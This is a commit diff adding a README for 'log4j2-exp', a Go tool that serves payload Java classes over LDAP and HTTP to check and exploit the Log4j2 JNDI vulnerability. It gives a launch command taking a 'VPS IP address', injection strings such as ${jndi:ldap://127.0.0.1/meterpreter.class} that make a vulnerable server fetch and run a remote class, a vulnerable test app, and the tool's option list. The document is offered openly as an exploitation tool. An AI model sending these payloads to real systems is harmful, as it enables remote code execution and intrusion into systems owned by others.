Update README.md

Author: For-ACGN

README.md

@@ -1,2 +1,60 @@
 # log4j2-exp
-Check log4j2 vulnerability easily
+ * Check and exploit log4j2 vulnerability with single Go program. 
+ * You don't need to install anything except develop it.
+ * It support ldaps and https server for other usage.
+
+## Run
+   ```log4j2-exp.exe -host "VPS IP address"```
+  
+
+## Check
+ * run the log4j2-exp server
+ * send ```${jndi:ldap://127.0.0.1/nop.class}```
+
+## Exploit
+ * run the log4j2-exp server
+ * put your class file to the payload directory
+ * send ```${jndi:ldap://127.0.0.1/meterpreter.class}```
+ * will open source after some time
+
+## VulApp
+ * VulApp is a vulnerable Java program that use log4j2 package.\
+ * You can use it for develop this project easily.\
+ * ```java -jar vulapp.jar ${jndi:ldap://127.0.0.1/calc.class}```
+
+## Help
+  ``` 
+  :::        ::::::::   ::::::::      :::   ::::::::::: ::::::::
+  :+:       :+:    :+: :+:    :+:    :+:        :+:    :+:    :+:
+  +:+       +:+    +:+ +:+          +:+ +:+     +:+          +:+
+  +#+       +#+    +:+ :#:         +#+  +:+     +#+        +#+
+  +#+       +#+    +#+ +#+   +#+# +#+#+#+#+#+   +#+      +#+
+  #+#       #+#    #+# #+#    #+#       #+# #+# #+#     #+#
+  ########## ########   ########        ###  #####     ##########
+
+                           https://github.com/For-ACGN/log4j2-exp
+
+Usage of log4j2-exp.exe:
+  -dir string
+        payload(java class) directory (default "payload")
+  -host string
+        server IP address or domain name (default "127.0.0.1")
+  -http-addr string
+        http server address (default ":8080")
+  -http-net string
+        http server network (default "tcp")
+  -ldap-addr string
+        ldap server address (default ":389")
+  -ldap-net string
+        ldap server network (default "tcp")
+  -tls
+        enable ldaps and https server
+  -tls-cert string
+        tls certificate file path (default "cert.pem")
+  -tls-key string
+        tls private key file path (default "key.pem")
+  ```
+
+
+## Screenshot
+![](https://github.com/For-ACGN/log4j2-exp/raw/main/screenshot.png)